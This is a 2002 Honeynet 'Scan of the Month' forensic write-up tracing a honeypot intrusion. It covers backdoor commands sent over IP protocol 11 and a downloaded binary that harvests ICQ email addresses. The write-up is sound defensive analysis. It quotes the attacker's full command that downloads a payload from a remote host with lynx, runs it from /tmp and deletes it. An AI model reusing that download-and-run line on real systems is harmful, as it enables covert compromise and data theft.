Honeynet: Scan of the month Challenge, August 2002

Author: Javier Liendo, <javier@liendo.net>

The challenge

After penetrating the Linux system using the WU-FTPD vulnerability, the attacker deployed a backdoor binary and then proceeded to use the system for certain nefarious activity. Your mission, should you choose to accept it, is to determine what the activity was and how it was accomplished. All the necessary evidence is contained in the snort binary capture file. The IP address of the honeypot is 172.16.183.2. Using the snort binary capture answer the following questions:

The analysis

1) I first downloaled the snort log and checked it’s md5 signature and it was OK

2) Then I opened the log file using ethereal (http://www.ethereal.com ) on a w2k machine taking care to display the date and time of each packet

3) Then I decided that the best approach to the problem was to make a timeline of the events (in my mind I defined that an event was a grouping of packets that were close between them, “time-wise” speaking) and analyze each event separately trying at the same time to deduce some dependencies between them

4) Timeline (all the events are on April 12th, 2002)

[event 1] 08:45:02 to 08:45:04 We see 3 ICMP queries and 3 ICMP replies from the compromised host to the attacker’s IP (on the snort log the attacker’s IP is obfuscated. Later on the analysis we will find what IP it was).

[event 2] 10:09:13 to 10:10:35 We see 19 IP NVP (network voice protocol, protocol number 11 dec or 0x0b hex) packets plus 2 additional ICMP network unreachables packets. The IP NVP packets will show up being the first of a series of commands the attacker executed on the compromised host using what I later learned was the “IP NVP trojan” that was previously installed on this computer and which was the subject of study on the past honeynet “reverse challenge”.

[event 3] 11:31:23 to 11:31:24 We see a series of TCP packet interchanges probing the FTP port on the compromised host. As I will show up later, these packets bear no relation with the flow of packets used by the attacker.

[event 4] 13:57:22 to 13:57:25 We see three Netbios name queries. These packets also seems to bear no relation with the flow of packets used by the attacker.

[event 5] 14:35:00 to 14:35:56 We see another couple of commands sent by the attacker to the compromised machine using the IP NVP packets.

[event 6] 14:40:23 to 14:40:28 We see an attempt to connect to the portmap services on the compromised host. This attempt also seems to bear no relation with the attacker’s flow of packets.

[event 7] 14:57:37 Here we see the packet with the command that started up everything (in fact, this is the packet that started the events that are the subject of this analysis)

[event 8] 14:57:39 to 14:57:52 The file foo is downloaded from what is going to be shown up later is the attacker’s IP.

[event 9] 14:57:55 to 19:23:05 The file foo starts and takes aprox. 4.5 hours to finish it’s job. Later on the analysis I will describe what the foo file is doing and what the attacker is trying to accomplish

[event 10] 15:02:40 to 15:03:37 and 15:04:33 The attacker sends three more commands (the last three commands as far as the log file is concerned) to the compromised host.

5) Events 3,4 and 6 are unrelated to the attacker because:

Event 3 is a world writable anonymous ftp server scan. The program that was behind this scanning was probably the one that is known as “The Grim’s Ping” (http://grimsping.cjb.net/). The purpose of this tool is to search for world writable anonymous ftp servers (servers that will later be used as warez repositories). There were two hints that drove me to this conclusion:

Hint 1: The password that was used to prove for anonymous access is Pgpuser@home.net. It is known that the tool “Grim’s Ping” uses the password combinations

[A-Z]gpuser@home.net to prove for anonymous access. (ref1: http://www.thelinuxlink.net/pipermail/lvlug/2002-May/005082.html , 6th paragraph)

Hint 2: The source IP address of this scan (80.14.184.201) resolved (as shown in the logs at frame number 37) to AOrleans-102-1-2-201.abo.wanadoo.fr. This IP address belongs to the french company “Wanadoo Interactive” as shown by a quick www.ripe.net whois query

role: Wanadoo Interactive Technical Role

address: WANADOO INTERACTIVE

address: 48 rue Camille Desmoulins

address: 92791 ISSY LES MOULINEAUX CEDEX 9

address: FR

phone: +33 1 58 88 50 00

e-mail: abuse@wanadoo.fr

e-mail: postmaster@wanadoo.fr

After a quick group Google search I realized that it seems that this is not the first time that someone using an IP belonging to that ISP/company engages on such a nefarious activity. (Ref: http://lists.jammed.com/incidents/2001/12/0193.html, http://archives.neohapsis.com/archives/incidents/2001-12/0198.html)

Now, why do I say that the packets on event 3 does not belong to the attacker? The attacker already had root access to the compromised machine so there should be no need for him to scan this host looking for a world writable anonymous ftp server. If he wanted to use this server as a warez repository he could pretty easily have added a ftp user with a known password.

The packets on Event 4 did not belong to the attacker’s packet interchange either. This event was a Netbios name query (it tried to get the Netbios net name of the compromised host) The source of this scan was 149.168.130.27.

This IP belongs to

Employment Security Commission (NETBLK-NCIH-149168130)

700 Wade Avenue

Raleigh, NC 27605-1167

Netname: NCIH-149168130

Netblock: 149.168.130.0 - 149.168.130.255

Because this event was an UDP datagram interchange, the IP could have been easily spoofed. If this were true, the person (or script) on the other end would have had a hard time (although not impossible if certain criterias were met) trying to capture the UDP datagrams back from it’s target. My bet is that this IP was not spoofed.

This packet interchange corresponded to someone typing (or by a script executing)

nbtstat –A compromised_machine_ip_addr

Or it could also be that this scan could have been started by virus infected host trying to find other computers to infect via the “windows open shares” vector.

(ref: http://www.sans.org/newlook/resources/IDFAQ/port_137.htm )

Why do I say that the packets on event 4 did not belong to the attacker? As I said before, the attacker already had root compromised the host and there should have been no need for him to look after the Netbios net name when the Netbios service (or for that reason Samba) was not running (at least the service was not running on port UDP/137 because the honeynet host returned ICMP port unreachables to the scanning machine)

The packets on Event 6 did not belong to the attacker’s packet interchange either. This event seems to be a SYN scan over port 111 (portmap) on the compromised machine. This IP belongs to

inetnum: 61.114.247.224 - 61.114.247.231

netname: KINKI-NET

descr: KinkiNetwork Limited Company

country: JP

As I said before, I do not think this scan was made by the attacker. He had already root compromised the host so he gained zero by doing this scan

6) Having discarded the events that did not belonged to the attacker’s packet interchange, I proceeded to analyze the other events starting with the event number 2 (the analysis of the event number 1 is described later on this document).

This event correspond to a series of IP packets interchanges with the protocol field set to 11 (0x0b) between some hosts (later on my research I learned that these hosts were what are called “handlers”) and the compromised host (turned to an “agent” by the backdoor already installed). Knowing that this Scan of the Month challenge was a kind of follow-up of the last Reverse Challenge, I read some of the analyses submitted and found Dion Mender’s <quietude@iinet.net.au> great analysis of the trojan (http://www.honeynet.org/reverse/results/sol/sol-06/).

After reading his analysis I downloaded the perl decoder (http://www.honeynet.org/reverse/results/sol/sol-06/files/bin/decoder) he developed for the challenge to decode the payload (As I learned while reading this document, the payload were encoded with a unique algorithm). Then I fed it with the snort log for this challenge and “magically” got the commands the attacker was sending to the compromised host (see Appendix I) With this decoding on my hands, I proceeded to match the decoded packets with the packets on the log (ethereal) and found that:

a) Packet number 7 correspond to the initialization of the trojan. The main purpose of this packet is to instruct the trojan where to send all the answers. In this case, this happen to be the IP 203.173.144.50 plus 9 other IPs. Note: if you take a look at appendix I you will see that the IP reported is 203.173.173.50 (double 173). I believe that this is a bug on Dion Mendel’s decoder. Taking a look at his program, you will se that on line 59 and 87 (where this IP is printed) the “attacker’s” IP is a concatenation of “data[3]”, “data[4]”, “data[4]” and data “[6]”. I believe that the second “data[4]” should really be “data[5]”.

This IP block belongs to

person: Ketan Anand Lal

address: 127-131 Newton Rd.

address: Newton

address: Auckland

country: NZ

phone: +64-9-3592767

fax-no: +64-9-3581518

e-mail: anand.lal@ihug.net

nic-hdl: KL47-AP

mnt-by: MAINT-KAL-PER

changed: sohail@ihug.co.nz 20000918

source: APNIC

b) Packet number 8 correspond to one of the handler instructing the agent (the compromised host) to execute the following command and to send the answer to the previously mentioned IP

grep –i “zone” /etc/named.conf

c) Packets number 9 to number 17 were the answers that the “agent” (the compromised host) sent back. This info was

zone "." {

zone "0.0.127.in-addr.arpa" {

d) Packets number 9 to 28 was the “agent” signaling the handler that there were no more output from the command executed. (There were also two ICMP Host Unreachables, I guess that this was because there were no host with those IPs on the timeframe this event occurred)

So, basically the interchange between 10:09:13 to 10:10:35 (1m 22s) on April 4^th, 2002 (event number 2) was the attacker doing a

grep –i “zone” /etc/named.conf

end getting

zone "." {

zone "0.0.127.in-addr.arpa" {

I guess that the attacker used this command to “discover” all the domains that are being served by a certain name server.

7) Event number 5 (aprox. 4h 25m after the attacker did the grep command) represents the attacker sending a couple of commands to kill a process named ttserve on the compromised host. As we will see shortly, my guess is that this action was in preparation to the downloading and executing of a program from the web.The command that the handler sent was

killall –9 ttserve

8) Event number 7 (aprox. 4m after the killall command) represents the attacker sending the command that basically accounts for the great majority of the packets on the log. This command was

killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./ttserve ;

9) Event number 8 (2s after the lynx command) is a file being downloaded from the IP 216.242.103.2 port 8882. This address belongs to

Synergyx.net (NETBLK-SYNGX23-B1)

One Oakwood Blvd. Suite 200

Hollywood, FL 33020

This file was called foo (on the attacker’s server) and downloaded as /tmp/ttserve (on the compromised host). As we can see on the command, as soon as the file foo was downloaded, it began executing.

In order to “reconstruct” this binary file, I did a “follow tcp stream” with the Ethereal program. After hex-editing it (deleting the HTTP headers and such), I had a “valid” ELF binary file ready to be “executed”

10) With the foo binary on my hands, I used the “strings foo” command to find some clues about what was the purpose of this binary. Several things showed up but the one that made my eyebrow lift was

GET /wwp?Uin=%lu HTTP/1.0

Host: web.icq.com

This program was some how very interested on web.icq.com. It looked to me that this program was also a kind of HTTP client (because of the use of GET string).

After some research at web.icq.com, I found that the “wwp?Uin=nnnnnn” script is used as a web front end for the “Unified Messaging Center” service for ICQ users.

11) After playing a bit with the binary I started looking again at the snort log and found that as soon as the foo binary started executing the first thing that it did was to connect to the IP address 216.242.103.2 UDP port 53413 (packets number 530 and 531). We can see that foo sent a “GU” command (at that moment I did not really realize that it was really a command) and the server replied with a “DU9207100”. Was GU a “Get Uin” command and DU a “Do Uin” command?

After this kind of “initialization”, we can see on the snort log that the foo binary starts looping on to the GET requests, sequentially, from Uin number 9207100 to Uin number 9207199. No more info was shown of the logs about what happened after the foo program finished with this last Uin, did it loop for ever? Did it save something on a local file? There where no traces that some info were sent to some other server (all the interchanges were between the compromised host and the web.icq.com server)

Decided to answer this questions, I thought of replicate this behaviour. The next thing I did was to edit the foo binary with a Linux binary editor (hexedit) and replaced the address of the server where foo is expecting the DU9207100 string with my loopback address (127.0.0.1). Once that was done, I created a little perl server whose function was that as soon as anything connected to it, it would answer with a DU9207100.

After checking that my server worked, I started the modified version of foo (I named it foo2) with the strace command to have a look at what syscalls did foo2 call. The way I started this program was

strace –fvi ./foo2

As soon as the program started, it immediately changed its name to “(nsfiod)” as a way to “camouflage” with the other system processes on the compromised machine. After changing it’s name, the foo2 binary asked it’s server (in this case the fake perl server) for a “Uin block” and then started doing HTTP GET requests to the “wwp?Uin=nnnnnn” script on the web.icq.com server. (So far, this behaviour matched the behaviour shown on the snort log).

Because the way my network was configured, the foo2 program could not get out to the Internet to query the web.icq.com website directly, so, in order to allow the foo program do that, I created a second perl server whose only function was to print every GET request it received and at the same time send back to the client a copy of the html page that the “web.icq.com/wwp?Uin=nnnnnnn” script creates (previously I had to “manually” download a page from web.icq.com) . Having done that, I modified the /etc/hosts file so the “web.icq.com” domain name would resolve to my loopback address. With this setup I started the whole process again beginning with the fake foo server (I named this server de “GU-DU server”), then the fake web.icq.com server and finally starting the foo2 program.

Now with the foo2 program accessing the fake “GU-DU” server and the fake “web.icq.com” server I could actually take a look at how the foo2 program was working.

Basically what this program did was

- Connect to the GU-DU server at UDP port 53413

- Get a Uin “base number” from the GU-DU server

- For every Uin between the “base Uin” to “base Uin” + 100, do a GET /wwp?Uin=uin_number from web.icq.com

- Do a “screen scrap” of the downloaded page to get the mail for the ICQ user (the one who “owns” the Uin being proved)

- When the program finishes working with the 100 Uins, connect to the GU-DU server at UDP port 53143 and do a SE command (this command does a transfer of all the harvested emails addresses to the GU-DU server)

So after all this tests and analysis, the final purpose of the program, and maybe more important, the intentions and motive of the attacker, were revealed: this guy was using this host to methodologically harvest email addresses from ICQ users. It would not surprise me, that the server side of the foo program is a kind of “master server” that controls tens/hundreds (?) of “clients” harvesting email addresses from the ICQ network, serving each “client” with one one block at a time of Uin’s, taken care to not repeat “Uin blocks” between two o more clients.

Why should this guy go through all this effort to get this amount of email addresses? My guess is that he is building an email addresses database so he can sell it to spammers. I do not know what will the price of a database like that be, but I guess that it would be enough to have this guy going through all this effort.

The Questions

1) What is the attacker IP?

My bet is that the attacker IP is the same one that is used to download de foo program and the one that the foo program is using to get the Uin block (what I call the GU-DU server) This IP is the 216.242.103.2.

This IP belongs to

Synergyx.net (NETBLK-SYNGX23-B1)

One Oakwood Blvd. Suite 200

Hollywood, FL 33020

Netname: SYNGX23-B1

Netblock: 216.242.103.0 - 216.242.103.127

2) What is the attacker doing first? What do you think is his/her motivation for doing this?

If the question refers to the first 6 packets of the snort log my answer will be that the first thing the attacker does is to do a ping to the attacker IP. My guess is that this IP (obfuscated as 10.10.10.10 on the logs) is the same IP of the attacker (see question number 1). I reached this conclusion because the only time an IP packet is getting a checksum error is when there is an interchange between the compromised host and the attacker computer: that is, when he is downloading the foo file and when the foo program is getting the Uin block to scan. Why is he pinging his machine?, the only thing I can think about is that he wanted to know if he is able to reach his machine from the compromised host.

If the questions refers to the first IP protocol 0x0b interchanges my answer will be that he is “grep-ing” the /etc/named.conf file. I dare to say that the attacker is doing this to know if there is any other domain name that is served by this compromised host. Why is he doing this? Maybe to footprint some other hosts to compromise.

2) Why there is some readable text in packets #17-#25 (and some others), but not in packets #15-#16 (and several others)? What differentiates these groups of packets from each other?

I do not really understand this question, looking at packets number 15 and 16 I can see some readable text too. Anyways, to try to get this answer right what I did was to groups all the IP protocol 0x0b packets on two groups, in group one where the packets that had readable text on them and the one that not, my findings were the following

a) Packets on group 1 (packet number 18-28 and 9-17) all have readable text. My guess is that this is so because this are the “answer” packets and somehow the NVP trojan is not encoding the answers

and

b) Packets on group 2 (packet numbers 7, 8, 62, 63, 72, 1236, 1237 and 1282) have not readable text on it, because they are commands from the handler to the agent and by design these commands should be encoded

3) What is the purpose of 'foo'? Can you provide more insights about the internal workings of 'foo'? Do you think that 'foo' was coded by a good programmer or by an amateur?

It looks to me that the purpose of foo is to harvest email addresses from ICQ users. My impression is that analyzing the sycall sequence generated with the strace command, the internal structure of the foo program is simple. Basically the operation of the foo program is

Program start

Change name to (nsfiod)

step 3: Get Uin block to scan from server

While (quantity of Uin scanned is less than 100) do {

Resolve web.icq.com

Do a GET Uin to web.icq.com

Somehow screen scrap the email address from the html downloaded

Somehow save this address in memory

}

Send the email address harvested to server

What follows next is not known to me, does it goes to step 3?

How this guy is using the ioctl syscall and the signal handling (alarms) I would dare to say that this program was build by a person not highly skilled on C programming

4) What is the purpose of './ttserve ; rm -rf /tmp/ttserve' as done by the attacker?

The purpose is to leave the program ttserve running with no binary image on the file system, in this way the attacker is trying to minimize the risk of having his foo program discovered and available for “reverse engineering”

5) How do you think the attacker will use the results of his activity involving 'foo'?

My bet is that the attacker is going to use this information to build an email addresses database to sell it to spammers

6) If you administer a network, would you have caught such NVP backdoor communication? If yes, how? If you do not administer a network, what do you think is the best way to prevent such communication from happening and/or detect it?

I am no currently administering a network but I think that this communication channel would have been blocked if somehow on the perimeter firewalls were a rule that explicity allow “in/out” packets with known protocol numbers (ex. TCP and UDP). Any other protocol number should be blocked.

A second way could be deploying a hogwash device (http://hogwash.sourceforge.net) between the access router and the perimeter firewall with a rule to drop any packet with a not explicity defined IP protocol number.

A third way could be to install a snort IDS device with the flexresp option activated with a rule to generate a ICMP host unreachable packet to the hosts originating this kind of traffic.

Appendix I

This is the result of running Dion Mendel’s decoder over the snort log of the current Scan of the Month challenge

94.0.146.98 -> 172.16.183.2 (handler -> agent)

Initialise agent.

All replies are sent to handler at 203.173.173.50

(plus 9 other randomly generated hosts)

----------------------------------------------------------------

192.146.201.172 -> 172.16.183.2 (handler -> agent)

Execute the given command and send output to handler:

grep -i "zone" /etc/named.conf

----------------------------------------------------------------

172.16.183.2 -> 175.44.57.180 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 57.35.28.126 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 22.23.166.235 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 203.173.144.50 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 31.223.48.171 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 55.247.104.208 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 73.195.64.167 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 122.114.160.41 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 158.217.222.215 (agent -> handler)

output of command executed by agent:

zone "." {

zone "0.0.127.in-addr.arpa" {

----------------------------------------------------------------

172.16.183.2 -> 175.44.57.180 (agent -> handler)